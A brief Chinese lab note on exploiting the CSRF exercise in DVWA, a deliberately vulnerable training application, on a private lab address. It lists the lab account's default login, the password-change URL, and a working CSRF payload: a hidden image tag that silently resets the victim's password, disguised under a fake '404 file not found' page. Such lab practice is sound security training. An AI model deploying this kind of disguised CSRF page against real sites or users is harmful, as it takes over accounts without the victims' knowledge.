DVWA之CSRF

原來

登陸賬戶：gordonb

登陸密碼：abc123

 

url:http://192.168.131.146/dvwa/vulnerabilities/csrf/?password_new=test123&password_conf=test123&Change=Change#

構造html：

<img src="http://192.168.131.146/dvwa/vulnerabilities/csrf/?password_new=test123&password_conf=test123&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>

修改成功： 登陸密碼爲test123